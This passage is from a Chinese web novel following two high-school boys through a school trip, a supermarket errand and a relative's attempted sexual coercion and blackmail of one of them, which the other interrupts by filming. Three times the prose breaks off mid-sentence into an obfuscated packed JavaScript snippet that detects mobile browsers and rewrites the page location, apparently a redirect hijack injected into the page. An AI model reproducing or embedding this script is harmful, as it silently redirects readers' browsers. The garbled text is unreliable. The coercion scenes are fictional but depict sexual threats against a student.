好在景区给配的睡袋还挺厚,优点是夜里没有着凉风险了,缺点是两个睡袋并排一摆,就一点空隙都不剩了。 李斯年干脆钻进了睡袋,准备打会游戏。 许之背对着他,低着脑袋擦头发。 帐篷空间实在太窄了,尽管许之已经控制了动作幅度,但过程中还是有些许水珠从发间甩落,落在李斯年手背和小臂上。 凉丝丝的,还带着非常清新的味道,像是尚未成熟的柑橘。 李斯年眼睛看着游戏画面、手指还在点击,但其实思绪飘走已经好一会了。 这味道,他在那天私闯许之卧室时也闻到过,没想到这人还挺讲究,出来秋游竟然自带沐浴露? 许之擦干了头发,也躺了下来,手机放在枕头旁边充电,似乎是要睡了。 于是李斯年也不好再亮着手机,看了一眼时间,十点刚过,便调了个静音,也塞到枕头底下。 远方篝火处的活动还在继续,嬉笑声、说话声隐约可闻,反而衬的帐篷内更加私密,李斯年甚至能听到许之轻而缓的呼吸声。 他平常都是十一二点才睡,这个时间还不困,他翻来覆去,睡袋终究不那么舒服,甚至能感觉到地面上的凹凸。 又转了个身,面向许之。 许之睡觉似乎很老实,这么久了动也不动,一直保持着侧睡,昏暗中暴露在外的后颈,白皙细腻,像是月光洒落。 李斯年觉得自己似乎又闻到柑橘的味道了。 一阵有、一阵无的,像是脉搏。 李斯年突然想起一个说法:有些会喜欢某些特定味道。 比如有人喜欢闻橘子皮、有人喜欢闻油漆味、有人还喜欢霉菌的味道,说不清理由,甚至不能用“好闻”、“难闻”来判断,就是会有点上瘾。 但他以前也并不爱吃橘子啊,难道是这个沐浴露的柑橘味道调得格外特殊? 忽然,面前的人翻过身来,一双毫无睡意的眼睛看向他。 李斯年在许之清亮的瞳孔中看到了自己的倒影,这才后知后觉自己胡思乱想时,不知不觉靠得有点近了。 他赶紧缩回脑袋,先发制人:“我真不是变态。” 许之轻轻挑眉,看起来不是很相信。 “我是想问你用的什么沐浴露,味道挺好闻,但又怕你已经睡了。”李斯年自认为自己这是实话实话,非常理直气壮。 “不记得,小超市看到在打折就买了。”许之回答。 “秋游学校都是包用品的,你怎么还自己带沐浴露?” 许之眨了眨眼,不明白李斯年的关注点怎么都这样无厘头:“我看还剩下一点点,就顺手塞包里了。” 李斯年点点头:“原来是这样啊。” 许之见他没有再要问的,便又转过身去睡了。 李斯年这天夜里睡得不太好,做了很多乱七八糟的梦。 先是梦到郑秀带他和李倾诺去三岔巷子路边吃小龙虾,李倾诺要留些虾肉拿去喂小白小黑。 李斯年忙着阻止:“这个很辣,猫不能吃的!” 李倾诺想了想:“那我去孙姨家拿点水,涮涮。” “涮了也还是辣啊……”李斯年还没说完,李倾诺和郑秀就消失在巷子拐角处。 李斯年有点无奈,跟着往前走,但近在眼前的拐角却像是怎么都走不到头。 太阳忽然就落了下来,四周陷入昏暗,李斯年慌张叫着妈妈和妹妹的名字,但没有人回答。 他转过身,身后长巷尽头忽然就亮起一盏路灯,一个少年正站在灯下,手指曲起,似乎拿着什么东西,微微仰起脸,看向墙头两只猫。 李斯年走近:“许之?你怎么在这?” 许之穿着育德学校的校服,闻声也不惊讶,微微侧过脸来。 灯光不太明亮,反而将他五官轮廓勾勒出一种毛绒绒的观感,眉眼弯弯,嘴角勾起,舒展随性却又莫名勾人心神。 他将手里剥开的橘子皮往两只猫面前虚虚的送了一下,小白好奇懵懂的闻了闻,而小黑却瞬间炸毛,发出嫌弃的喵呜声。 许之圆润的眼角盛了更多的笑意,看向李斯年,“你知不知道,有些猫讨厌橘子的味道。” 李斯年呼吸一滞,半个字都没听进去,满脑子净想着,怎么会有人的眼睛这样剔透,里面盛着一汪带着波光的春水,叫人移不开目光。 唇边一凉,是许之把橘瓣递了过来。 李斯年很自然的张嘴就接了。 橘子不算甜,酸酸涩涩的,但汁水丰富,是刚从树上摘下来的新鲜感。 “好吃吗?”许之问。 李斯年点头:“就是有点酸。” “是吗?”许之掰了一块,送进自己嘴里,然后眉头一皱,“嘶……是有点。” 李斯年哈哈大笑,索性把他手里剩下的橘子都拿了过来,“那给我吃吧,我喜欢吃酸。” 许之笑了笑,转身逗猫去了。 - 李斯年醒来时,天已经大亮,太阳撒在帐篷上,将内部照得热烘烘,身旁的睡袋是空的。 李斯年有点恍惚,思绪还停留在那颗酸口的橘子上。 不过多时,有人撩帘进来,往他身上丢了一个冒热气的塑料袋,里面装着几个白胖胖的包子。 “太阳晒屁股啦!还不起!”方行舟笑道,“快,吃完就要去爬山了。” 说完,又钻了出去。 李斯年换好衣服出来,带队老师正在点名,点完名后,大家各自把睡袋和帐篷收拾好,归还给景区,就往天珠峰出发了。 天珠峰前两年处于关闭状态,进行设施维修和生态恢复,今年才刚开放,除了这群秋游的学生之外,其他游客也不少。 上峰顶的路只有一条,左侧是土木草树、右侧就是悬崖峭壁,窄得仅供双人错身。 好在路程不算长,临近中午,大家就爬到了峰顶,视野一下子开阔起来,山峰迎面吹过,大家就地而坐,等着分发午餐。 每组一袋盒饭,许之拆开袋子,将盒饭递过去时,看到李斯年左手拇指指根有一道血痕,挺长的,好在不太深,估计是刚才爬陡坡时划到的。 但疼还是疼,毕竟在活动频繁的关节处,以至于李斯年打开饭盒的动作都有些僵硬,为了避开伤口,端也不好端、又不能趴在地上吃。 正踌躇间,手上一轻,是许之将盒饭拿走了。 他翻找出在大巴上时老师分发的急救包,里面有碘酒和纱布,李斯年伸手要接过,但许之却说:“手拿过来。” 李斯年一愣。 “快点。”许之垂着眼眸,摊开的手轻轻晃了一下。 他也想尝试着回到正常人的思维:受伤的人会被照顾,而不是只能自舐伤口。 李斯年“哦”了声,乖巧的把左手伸过去。 许之控制住李斯年的手腕,另一只手用棉签蘸着碘酒,轻轻给伤口消毒。 许之手的温度总是偏凉,力度也放的轻,落在李斯年伤口和皮肤上,他莫名就想起了昨晚洒在自己手背上的水珠。 恍神之间,许之已经用纱布垫着处理好的伤口,缠绕固定好了。 又把几个人的背包摞在一起、垫高,给李斯年放盒饭。 “谢谢啊。”李斯年接过许之帮忙掰开的筷子,埋头开始风卷残云。 爬山是一件非常消耗体力的事情,哪怕盒饭不怎么好吃,李斯年也吃了个干干净净。 他放下筷子后,许之很顺手地帮他合上了盖子,连同自己的饭盒一起丢进袋子,起身拿去垃圾桶。 人刚走,送饭后饮料的志愿者学生就到了,那人将几瓶娃哈哈放在李斯年旁边,顺势在他耳边不怀好意的一笑:“啧啧,这大庭广众之下你侬我侬的,真叫人羡慕。” 李斯年侧头一看,是钱霆。 方行舟知道钱霆带人找过李斯年和许之的麻烦,一脸戒备:“你要干嘛?!” “我又不找你。”钱霆不耐烦的“啧”了声,将方行舟扒拉到一边。 “没关系。”李斯年对方行舟说完,问钱霆:“有事?” “我好心给你们送喝的来呢,都是朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401232|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干嘛这么凶巴巴。”钱霆笑嘻嘻,抱着半箱娃哈哈,就这样一屁股坐了下来。 魏旬被他挤得整个人都歪了出去,但敢怒不敢言,只是默默扶了扶眼镜,挪远了些。 “朋友?”李斯年挑眉,“我没记错的话,上一次见面还是我被你们围殴,从前怎么不知道你脸皮这么厚。” “从前我也不知道你这人这么记仇啊?”钱霆不受他的话激,反而看向丢垃圾的许之,“早先我说你们是一对,还不承认?你小子艳福不浅啊。” 李斯年翻了个白眼,懒得搭这话。 “我先前还真没看出来,你也是……”钱霆上下打量着李斯年,“诶,打个商量,这人你玩够了,说一声,我好去努努力。” 敢情他专门坐下来就是要说这些? 李斯年强忍着冲动才没当着众人的面给他一拳,该说到底是许之模样太叫人过目不忘、还是钱霆脑子全长在下半身,之前都闹成那样了,他竟然还在惦记着这事?! “我看你是蹲局子没蹲够,是吧?”李斯年冷着声,“钱霆我警告你,要是敢再招惹许之、或者来我面前说这些不入流的烂话,我能送你进局子第一次,就能有第二次。” 钱霆吊儿郎当的一笑:“哟,放狠话还是这么顺溜。”手一撑,拍拍屁股站起来,语带挑衅:“没关系,咱们来日方长,啊!” 说完,大大咧咧甩着手走远了。 魏旬感觉自己在风中凌乱,秋游这两天,他听到的信息量,已经快超越一整个学期了。 他僵硬的转过头,看看方行舟,又看看李斯年,捋着舌头:“你你你和许之在一起?!那、那肖宁枝……” “能不能闭嘴!”李斯年打断他,“钱霆说什么你信什么,你是猪脑子吗?!” 李斯年很少讲话如此不客气,这是真在气头上了。 “你、你怎么能骂人呢!”魏旬不可置信道。 李斯年反问:“我难道说错了?” “好了好了,别内讧——”方行舟伸手拦架。 其实他在旁边也听得莫名其妙的,但他知道钱霆是什么货色,不会像魏旬这样被轻易牵着鼻子走,“魏旬,钱霆这种混混说的话,不能当真啊!” “得了吧,当我傻啊,我知道,你们玩得好,所以互相护着!就知道排挤我!” 魏旬不领情,扶了扶眼镜,声音越来越大,引得周围同学纷纷侧目:“方行舟,昨晚你还骂我长得丑,别以为我没听出来!” “我哪个字说你丑了,别污蔑人啊。”方行舟瞪大了眼,“不然你把原话说出来,叫大家评评理!” 魏旬怎么可能复述那句自取其辱的话,他还没蠢到那份上,眼看说不过伶牙俐齿的方行舟,只能气得脸一阵红一阵白,手哆哆嗦嗦指着对方:“你、你卑鄙!无耻!” 李斯年本来心里就烦,嫌这二人聒噪,径直站起身,走去少人的悬崖围栏处吹风。 魏旬和方行舟还在争论,后来似乎是黄锦婷过来拉架,吵架声才渐停。 只是李斯年吹了半天风,那股烦躁还是有增无减。 他自己也说不清为什么,每次看到钱霆提起许之时那副表情,再联想到他脑子里的龌龊事情,就觉得非常厌恶。 这种愤怒甚至比钱霆单单只是找自己麻烦还要更甚。 许之丢垃圾的路上,也被其他老师抓壮丁叫去发饮料,等回到这边时,争吵早就结束了。 方行舟跑去隔壁组唠嗑,原地只剩魏旬一个人黑着脸,不知在想什么。 老师开始点名,准备原路下天珠峰,许之将背包拿给站在栏杆旁的李斯年,发现他脸色也不是很好。 “怎么了?”许之问。 李斯年看了他一眼,沉默片刻,又突然说:“你以后小心些钱霆,离他远点。” 许之有点莫名其妙:“他又来找你了?” 李斯年“嗯”了一声,咬着牙骂道:“狗嘴里吐不出象牙的东西!” 这到底是说了什么,惹得这人这么生气? 不过,就算李斯年不说这话,许之也没兴趣和那种人走得近,于是点头应下:“好。” 21. 超市 秋游结束后,李斯年除了上课之外,中午和晚自习时间全都投入了紧张的篮球决赛备战中。 通常来说高三生任务重,是不让参加这类活动的,奈何李斯年成绩实在是太过稳定,最近一次小考甚至还有所提高,比许之就差了半分,老董头也就只能睁一只眼闭一只眼。 而在此期间,照顾小白和准备猫饭等事情,自然就落在了许之头上。 他学东西很快,第一次做猫饭就已经熟背营养剂比例和肉量了,李斯年直呼出师过于迅速,整的自己这个师父怪没存在感的。 因为小白随时都有可能生产,许之不敢怠慢,连中午都要去出租屋守一会,李斯年会提前一天在手机上买好猫饭食材,12点准点送到。 但许之发现,他总是买多,除了两只猫的量,还正好多出一人份。 李斯年说自己对分量实在没什么概念,而且屋里没冰箱,生鲜肉类放一天就要坏,让许之干脆用出租屋的电锅给炖了吃了。 得益于李斯年的“没概念”,许之每天除了那些没营养的粗粮之外,还能稳定吃上一顿香喷喷的肉,今天五花肉、明天鸡翅、后天牛腩,顿顿不重样。 下周一就是决赛日,周末的训练强度相对放缓了些,各留了半日的休息。 李斯年从体育馆出来,看到许之发来的微信,说在家做好了猫饭,正往出租屋去。 李斯年回了消息。 SN:嗯,午饭就在出租屋做吧,我去买点菜。 许:好。 李斯年走出学校,上午刚下过雨,午后晴天的风温和而湿润。 江城的秋天很短,能好好体验的时间不多,按照惯例,再过一段时间,就会进入温度急转直下、妖风四起的冬天。 走进超市,带着空调风独特气味的凉风迎面而来,李斯年推了一辆购物车,走到肉菜区,拿起还沾着泥土的土豆挑选,忽然有种自己正在“过日子”的感觉。 这种感觉很微妙、也很温暖。 从前郑秀在时,家还是家,家庭成员都各司其职。 赵婶那时候更多是在家务琐事上给郑秀打下手,每天下厨做饭的都是郑秀,偶尔少了配菜或佐料,就会直接喊李斯年放学回家时捎带回来。 那时,家里还有“做饭的不洗碗、洗碗不做饭”的规矩,所以饭后基本都是李斯年和李倾诺轮流洗碗,郑秀则舒舒服服靠在沙发上,打开电视看韩剧。 韩剧里的爱情总是惊天又动地,女主角哭、郑秀就忍不住跟着抹眼泪,和厨房洗碗哗啦啦的水声倒是有一种奇妙的相得益彰。 而现在,家更像是宾馆,有着永远整洁的床被、不沾灰尘的地板、热气不会消散的饭菜…… 不是说赵婶做的不好,只是胡萝卜玉米排骨汤里的姜片永远不再需要李斯年跑去菜市场买了。 选好菜肉,李斯年往收银台走,在路过一排货架时,脚步稍顿。 大大的牌子上写着“打折促销”四个字,纵向的摆着许多临期产品,价格都在五折或更低。 李斯年想起许之那晚在帐篷说的话,于是走进一堆瓶瓶罐罐里翻找起来,很快,就被他找到了一瓶标有“柑橘味”字样的沐浴露。 是一个李斯年压根没听说过的牌子,外包装颜色和图案都挺俗气的,打开盖子,内部没有密封,但这样正好,他可以闻到味道。 没错,就是许之用的那款,但从瓶子里的闻起来,香味明显有些过于浓厚和廉价了。 或许是因为打成泡沫再被水冲后留下的味道淡化了?就好像香水也分前中尾调。 虽然自己的沐浴露还剩大半瓶,但这种东西属于刚需嘛,囤点也没关系,李斯年这样想着,非常理所应当的将其放进了购物车里。 他绕过这排货架,经过一大片家纺区,大中午,这边没什么人,售货员一见到有人来,热情又积极的上前招揽:“小伙子,我们这边新到了高档四件套,要不要看看?” “谢谢,不需要。”李斯年随口答道。 但他不知道,这种时候,其实最好的方式拒绝是沉默摆手,因为只要回答、无论说了什么,都会被推销员判断为“愿意沟通”的潜在购买用户。 果然,见他搭话,售货员笑得更殷勤了,干脆直接将人拉到了样板床前面。 “床上用品嘛,都是要勤换洗的,这床四件套特别亲肤舒适,不闷热不起球,颜色款式也适合你们这样的年轻小伙!深色条纹,低调简约!” 李斯年瞟了一眼床品,忽然觉得有点眼熟,又伸手摸了摸。 这……不就是许之给他买的那款嘛! 售货员以为他想买,赶紧再接再厉:“是不是摸起来面料很舒服,来来来,还可以试睡一下!” “不用不用。”李斯年后退半步,抬头看到无论是头顶悬挂的吊牌、还是售货员手里拿的促销单,都有着“新品”字样,突然福至心灵:“这个多少钱?” “床单被套加两个枕套一共六百九十九!现在购买还赠送超市砸金蛋一次,很划算的!” “多少?!”李斯年惊了。 许之当时明明说的是路过超市看到促销打折才买的啊,怎么会这么贵! 环顾四周,除了这个新品贵的吓人之外,其实旁边其他普通四件套的价格还是挺正常的,从十几到小百不等,摸起来也都是柔软的纯棉。 售货员还在口若悬河的介绍着这款产品是多么物超所值,李斯年问了一个内心已经有了答案的问题:“这款最近打过折吗?” 售货员赶紧摇头:“这是这个季度的新品,怎么会打折呢!” 以为对方是担心买贵了,又赶紧说,“您放心啊,我们是有半年保价服务的,如果您看到其他地方比我们这便宜,可持小票直接退差价!” “那个……我、我考虑一下,需要再来。”李斯年没心思再与售货员周旋,抓着小推车,快步走远。 他有点感动、还有点酸楚,为了给他租房,许之已经将好不容易积攒的存款花光了,如果是因为许贺亮的事想要表达感谢,其实已经完全足够了。 虽然李斯年因此被李宇赶出家门、还承担了许多舆论压力,但他觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401233|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是一件但凡有正义感的人都会做的事,并不认为自己做出了多大牺牲。 反正他单身不怕开水烫,还能以此为理由避开许多女生的告白,耳根子清净不少。与李宇吵架则更是如同家常便饭了,从前也不是没闹到过离家出走的程度。 李斯年心想,以后得找机会和许之提一嘴,他打工赚钱那么辛苦,就不要再给自己花钱了。 李斯年来到出租屋门前,准备掏钥匙开门,就听到里头有动静,想来是许之已经到了,于是想抬手敲门,与此同时,屋内忽然传出第二个人的声音。 竟然是许贺亮! 李斯年放下敲门的手,改为贴耳去听。 “你是怎么哄得李家那小子帮你做挡箭牌的,这间房该不会也是他出钱给你租的吧?”许贺亮是今天中午训练结束后,在校门口看到许之,一路尾随而来的。 见他掏出备用钥匙开了门,自然以为是他住在这里的。 “和你没关系,出去。”许之的声音冷冷的,充满戒备。 “心虚了?” 许贺亮环顾四周,脸上挂着嘲讽的笑,将手机放在桌上,外套往椅上一脱,完全没把自己当外人,“这富二代出手也不怎么阔绰嘛,就给你租了个这么小的破房子,连个电视、电脑都没有。” 许之不想再继续这样毫无意义的对话,他拿起许贺亮的外套就要开门往外丢。 许贺亮先是任由他把自己推到门前,然后脚步一顿,抓着外套翻手绕了几圈,反而将许之的手缠进了外套里。 许之一时挣脱不出,许贺亮反客为主,将他推到墙边,目光阴森,像是雄豹注视着到猎物,附在他耳边:“你和他睡了?” 许之脸上陡然升起怒色:“你再敢胡说……” 许贺亮拉高声音,讽刺鄙夷道:“怎么?你图他年轻力壮是吧?卖屁股还要挑挑选选对象——” 话还没说完,许之突然猛地往前,一头槌就砸向了许贺亮的右脸! 二人距离太近,许贺亮避不开,他只觉得腮帮子一酸,齿间摩擦,血腥味瞬间就在口腔内弥漫开来。 “我就喜欢你这个性格,带劲!”许贺亮往地上啐了口,反而咧嘴一笑,牙间白里渗红:“既然都已经便宜李家小子了,我也不用再心疼你了,是不是?” 他停顿片刻,笑容越来越兴奋,“我手机开录像了。” 许之瞳孔骤缩,意识到他想要做什么:“你他妈的是真疯了!” “是,我疯了,这都怪你,谁让你这么好看?”许贺亮狰狞的舔向牙间血味,重复着许之梦魇中那句话,“又好看、又不听话。” 许之两只手都被束缚着,他想要奋力一挣,但许贺亮使了十成十的力气,他身高体强,一身腱子肉,二人体格差距摆在这里,许之根本挣脱不出。 许贺亮的声音几近疯魔,每个尾音都带着快意的战栗:“等完事后,我他妈的就这个视频发网上去——当然,先处理掉我的那部分,让你这辈子都只能把自己藏在臭水沟里,做一只不见天日的臭虫!考大学?呵,见鬼去吧!” 22. 出现 许贺亮的手贴上许之的侧脸,像是毒蛇的信子,缓慢地从眼角到脸侧,最后停在许之紧绷的唇边。 他手上有明显的硬茧,动作力道都称得上粗暴,仿佛指尖之下并非是双唇,而是春日枝头娇艳欲滴的花瓣。 想要掐断碾碎,让鲜艳的汁水染满手掌。 “别这副表情啊。”许贺亮声音带着沙哑与笑意,“来,笑一个看看?” 许之被他全力压在墙上,动弹不得,一双眼死死盯着对方。 与剧烈厌恶感一同在心头升起的,还有绝望。 许之想,或许自己从一开始,就不该奢求能躲过这一劫。 可到了此时此刻,他内心竟然还是无法控制的燃起期待——李斯年刚才发消息说要买菜回来,他会不会就快到了? 但许之很快就强逼着自己掐断了这个念头。 从什么时候开始,他也会将希望寄予他人了? 二人非亲非故,李斯年有什么义务每一次都要来拯救他?然后被卷入这些肮脏的事情里? 许贺亮见许之不给反应,便也任由他沉默,玩味而享受着对方自愿走向毁灭的表情。 但他没想到的是,许之在这样的注视下,脸上的仓皇竟然渐渐消退,转而是极致的冷静。 “你知道要是把我逼急了,会是什么后果。”许之眼中那抹光像是刃,许贺亮看着他,忽然觉得自己胸前早已愈合的伤口有些隐隐作痛。 许贺亮心中一动,莫名起了些许慌张,他立刻开口:“你算什么东西,也敢威胁我?!” “小锐如今应该已经上大学了吧。”许之的声音很轻,像是无处不在的风,吹到耳边,又化作细密的针,落入耳中。 “庆城外国语学院,英语系,大二A班,羽毛球社,最近刚谈了女朋友,住在男生寝室3号楼711……” 许贺亮眉梢跳动,手掐上许之的脖颈,凶相毕露:“你要是敢动我儿子,就死定了!” 许之声音因为咽喉受力而变得挤压、尖细,但语调仍然平静,仿佛被掐住脖子的人不是自己:“除非你删掉录像,承诺以后再也不来找我,否则我一条烂命,不介意与这种天之骄子同归于尽。” 许贺亮抿紧的唇角压不住内心的愤怒,小幅度的抽动着,他收紧掐在许之脖颈的手,猛地抬起拳头,目光与许之对上。 许之脸上泛起窒息的潮红,唇边竟然还带着笑,像是彼岸开满的潋滟花朵,一朵朵、一簇簇,从脸侧蔓延到眉梢,透出近乎毁灭的气息,让人挪不开眼、也让人胆战心惊。 “砰”的一声,许贺亮这一拳最终还是落在了墙上。 “妈的!”他从牙缝里挤出几个字,掐着许之脖子的手松开了致命的力道。 他早该想到,许之是个怎样心思缜密、锱铢必较的人,他对小锐的情况如此了如指掌,这些不是一时半会能调查清楚的——这是许之早就准备好的后招。 许贺亮深深吸了几口气,忽然想通了什么,面色又缓和下来:“不,你不会这么做的。你只是威胁我,如果你真动了小锐,你的未来也毁了。” 许之跟着他笑:“你都录这样的视频了,难道我不是毁了?” 许贺亮眼睛死死盯着许之,像是要用眼神把他生吞活剥了似的,过了许久,才终于移开目光,并同时松开了手。 他拿起桌子上的手机,对许之说:“各退一步,我删除录像,但就和上次说的那样,你陪我一次,以后两不相干。” 见许之还要开口说什么,许贺亮抢先打断他:“我奉劝你,不要得寸进尺,想用小锐来换我等了三年的鸭子长翅膀飞掉,你做梦!之前那个匿名短信没让你妈彻底相信是吧?那如果换我当面和她说呢?你觉得你还会有踏出家门、对小锐动手的机会么?!” 许之双唇紧抿,脑子飞速旋转思考,直到目睹每一条路都是死胡同。 他不得不承认,许贺亮是对的。 威胁只有在没有发生时最具威慑力,而在与许贺亮的对峙之中,对方才是永远最有恃无恐的那个人。 许之也不愿意玉石俱焚,他想考上大学,这是唯一逃离的机会,许贺亮很清楚,也正是许贺亮死死攥住的绳索,另一头拴着许之的脖颈。 沉默不知持续了多久,直到许之察觉到自己嘴唇动了动,说出一个字。 “好。” 声音非常机械,甚至不像是他自己,而是身体里的另一个人在讲话。 许贺亮得意的笑了起来,越笑越明显,直到整张脸沉浸在狰狞的笑意中,如同恶魔从地狱伸出手、爬上来,带着毁灭的迷雾,将小小的出租屋充斥。 他轻点屏幕,删除了刚才录制的内容。 手机重新被倒扣在桌上,许贺亮扬扬下巴:“自己脱。” 终于还是到了这一刻,许之想。 他做了所有能做的努力。 但似乎也只到这里了。 许之的手缓缓伸向衣摆,他咬着嘴唇,试图让口腔弥漫开来的血腥味冲散一些注意力。 尽管努力克制,不想在许贺亮面前泄露软弱,但指尖仍然不可自控的颤抖起来。 衣服那么薄、那么轻,此刻却叫人觉得好像是烫手的火焰,捏不住、拿不起。 他索性再次闭上眼,假装看不见即将踏往的万丈深渊。 忽然,门锁转动响起,有人从外面推开了门。 许之浑身一震。 “爸,这就是我租的房子,你放心,距离学校近,还挺安全的,我给你看看里面——”李斯年举着手机,正对着许贺亮,将他吃惊的表情录了个彻底。 “诶,怎么你们在啊?”李斯年满脸无辜,忽然又眉眼一抬,恍然大悟,“刚才不会是你们在说话吧?!我还以为出门没关电视呢。” 许贺亮从妹妹处看过这个名叫李斯年小子的照片,一眼就认出来了。 他眉心一跳,明白这小子是故意阴阳怪气说给自己听的,因为屋里根本就没有电视机! 许贺亮脸色阴沉,也不知道李斯年到底在门外听到了多少,他抓起自己的外套,低头要往外走。 李斯年一抬脚,拦在门前,翻过手机给他看:“网好差啊,视频发不出去,舅舅,给我开个热点呗?” 许贺亮看了眼屏幕,随之大惊,只见备注为“李宇”的微信界面,一条15分钟的视频正在发送中,进度条缓慢的转动着。 这个时长代表着,从头到尾,许贺亮说的那些话、包括他怎么威逼利诱许之的,全都被录下来了! “咦?发送失败了。”手机发出提示音,李斯年将屏幕侧过来,看到视频后面出现一个红色感叹号,他叹了口气:“好险啊,舅舅你说是不是?” 短短几秒间,许贺亮已经出了一身冷汗,他脸部抽动,听着这一声声乖巧甜蜜的“舅舅”,只觉得如吞蛆蝇。 许之难对付,这小子更加不是善茬! 他上前一步,手刚想抬起,李斯年仿佛早有预料,迅速将手机往裤袋一塞。 他双眼透着狡猾,什么都没说、又像什么都说了,侧身一让:“舅舅,你要走啊?慢走啊!” 许贺亮彻底丧了气,他惹不起李斯年,最重要的是他惹不起李宇,只好哼了一声,推门而去。 李斯年在人离开后,脸上吊儿郎当的笑容骤然消失,视频当然没有发给李宇,他事先已经打开了飞行模式。 只是没料到许贺亮先前污蔑许之一招不成,竟然会狗急跳墙到这个程度,到底还是自己疏忽了,还好及时赶到……李斯年忽然有点后怕。 听到关门上锁的声音之后,许之这才终于彻底反应过来,许贺亮是真的走了。 他后知后觉发现自己的整个身体都在如同筛糠一般颤抖,心跳如鼓,呼吸进出都是难以自控的短促。 强装的镇定终于在这瞬间全部都崩溃瓦解,许之感到腿脚忽然就失去了力气。 他背靠着墙,整个人都不受控的往下滑。 李斯年转过身来,看到的就是这样面如纸色的许之。 他眉心一跳,快步上前,双手抄到许之的腋下,将人半搂半架到了床边坐好。 “你还好吗?”李斯年半蹲在床边,问。 许之不知道该怎么回答,他微垂着眼,不敢看李斯年,浓密的睫毛的抖动着,如同他此刻混乱的大脑。 李斯年真的出现了,这不是他绝望时的幻想,人就实实在在站在自己面前。 而且,他全都听到了—— 听到自己是怎么阴险毒辣的搜集小锐的消息试图威胁对方的、听到自己答应了许贺亮的要求。 许之觉得自己此刻就像是在阳光下袒露的腐朽沼泽,那些肮脏的、不堪的,全部都明晃晃的摆在李斯年眼前,再也无法隐藏。 见他低头不做声,李斯年有点着急:“对不起,是我进来的晚了。刚才梁芷过来,想看小白,我把她骗了回去,才耽误了时间……” 为什么要道歉?又不是你的错。 许之张了张嘴,却发现自己几乎发不出声音,被许贺亮掐过的地方是一片触目惊心的印记,他这时才感觉到疼。 李斯年目光下移到他的脖颈,眼角一紧,“我去弄点冰水,敷一敷。” 他刚要站起身,就感觉衣服一重。 低头看去,许之双手正紧紧攥着自己的衣摆,关节用力到发白,像抓着救命稻草,那种微弱的颤抖明显是强忍着、却无法克制。 他整个人都呈蜷缩的姿态,像是要试图躲进无形的茧中去,却不知那茧在何处。 李斯年心中一酸,又重新蹲下身来,伸手将许之揽在怀里。 这是一个并不带有任何暧昧意味但非常温暖的拥抱,李斯年手缓缓拍着许之的背,声音很轻,像是在哄小孩:“我不走,许之,我就在这,哪也不去,好吗……你不要慌……” 李斯年重复着这样的话语和动作,直到感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午后拉上窗帘的屋内昏暗静谧,几小时前在这间出租屋发生的动乱仿佛是很久之前的事情了。 许之有些意外,只是睡了一觉,此刻内心竟然已经如此平静。 是不是因为这一次,他不再是一个人去面对。 李斯年听到许之起身的动静,放下笔:“饿了么?” 许之点点头。 “我刚炒好了臊子,热一下,再煮个面就能吃了。” 如李斯年所说,很快二人就吃上了汤面,食物暖暖的流进胃里,将阴霾一扫而空。 许之发现李斯年很会安抚他人,并不是那种说的天花乱坠的漂亮话、或是刻意的照料,而是能很自然的营造出一种安全的氛围。 他仿佛天生就拥有能治愈他人的能力。 吃完饭,许之去洗碗,李斯年将之前拍摄的视频发到了他的手机上。 “有了这个,他以后就再也不敢来找你了。” 许贺亮一直以来就是仗着自己不会被拖下水,才敢如此肆意妄为,如今许之手里有证据了,他自然也怕丢掉工作、也怕舆论唾沫。 流水哗啦啦冲刷着碗筷,许之听到了他这句话,但没有立刻回答。 因为他不知道该说什么,有很多心绪都卡在喉头。 李斯年总在自己临坠深渊时伸出手,让他不至于落入万劫不复之中。 这让许之恍惚觉得,是不是前十几年自己丢失的运气,都积攒到了现在。 李斯年看许之洗着碗都能出神,以为他还没从中午的事情里抽离出来,于是上前接手洗碗的工作,将许之推去床边,示意再去休息会。 他说:“没关系的,真的都过去了。” 他还在安慰他。 许之从小到大早已习惯了隐忍和淡漠,实在被逼急了,也只会走极端,想要和对方同归于尽。 这样温柔的场面,是许之非常陌生的,他不晓得如何应对,甚至不知道该露出什么样的表情才合适。 他莫名其妙的有点想逃,仿佛有人在耳边轻语,告诉他:这不是属于你的梦境,得赶快醒来。 “我已经没事了。”许之拿起挂在椅背上的书包,“晚上的猫饭也在这里了,明天中午我再来。” 李斯年手上还沾着洗洁精的泡沫,他将头探出来,看向许之的表情,确认道:“真的没事了?” “真的。” 或许是瞧出许之也想一个人待一会,李斯年善解人意的没有再强求,只是又说:“对了,明天下午就是篮球决赛了。虽然我也不会上场啦,但是挺热闹的,要来看啊。” 约定一个近期具体的事情,逼着他和现实做交接,或许就能不那么沉浸在过去的事情里吧,李斯年这样想着。 “好。”许之应下,开门离开。 23. 决赛 次日下午,体育馆坐得满满当当,方行舟专门提前一节课跑过来占位置,拉着许之一起坐在视野极佳的座位,对面正是育德篮球队的休息区。 “诶,你之前不是庆高的嘛,知不知道他们校队哪个位置最厉害?”在观众陆续进场的间隙,方行舟百无聊赖,问向许之。 